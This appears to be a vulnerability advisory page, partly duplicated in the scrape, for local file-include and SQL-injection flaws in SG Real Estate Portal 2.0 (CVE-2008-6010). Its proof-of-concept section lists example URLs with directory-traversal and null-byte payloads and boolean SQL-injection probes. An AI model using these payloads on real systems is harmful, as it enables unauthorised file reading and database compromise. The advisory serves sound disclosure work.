SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities
BID:31489
Info
SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities
| Bugtraq ID: | 31489 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6010 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 30 2008 12:00AM |
| Updated: | May 07 2015 05:23PM |
| Credit: | SirGod |
| Vulnerable: |
SG Real Estate Portal SG Real Estate Portal 2.0 |
| Not Vulnerable: | |
Discussion
SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities
SG Real Estate Portal is prone to multiple local file-include vulnerabilities and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.
The attacker can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
SG Real Estate Portal 2.0 is vulnerable; other versions may also be affected.
SG Real Estate Portal is prone to multiple local file-include vulnerabilities and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.
The attacker can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
SG Real Estate Portal 2.0 is vulnerable; other versions may also be affected.
Exploit / POC
SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/path/index.php?mod=../../../../autoexec.bat%00
http://www.example.com/path/index.php?page=/../../../../autoexec.bat%00
http://www.example.com/path/index.php?lang=/../../../../autoexec.bat%00&page_id=106
http://www.example.com/path/admin/index.php?category=security&action=../../../../../autoexec.bat%00
http://www.example.com/path/admin/index.php?category=security&folder=../../../../. /autoexec.bat%00page=params&id=8
http://www.example.com/path/index.php?lang=EN&page_id=106 and 1=1
http://www.example.com/path/index.php?lang=EN&page_id=106 and 1=2
The following exploit code is available:
Attackers can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/path/index.php?mod=../../../../autoexec.bat%00
http://www.example.com/path/index.php?page=/../../../../autoexec.bat%00
http://www.example.com/path/index.php?lang=/../../../../autoexec.bat%00&page_id=106
http://www.example.com/path/admin/index.php?category=security&action=../../../../../autoexec.bat%00
http://www.example.com/path/admin/index.php?category=security&folder=../../../../. /autoexec.bat%00page=params&id=8
http://www.example.com/path/index.php?lang=EN&page_id=106 and 1=1
http://www.example.com/path/index.php?lang=EN&page_id=106 and 1=2
The following exploit code is available:
Solution / Fix
SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
SG Real Estate Portal Local File Include and SQL Injection Vulnerabilities
References:
References:
- SG Real Estate Portal Product Page (SG Real Estate Portal )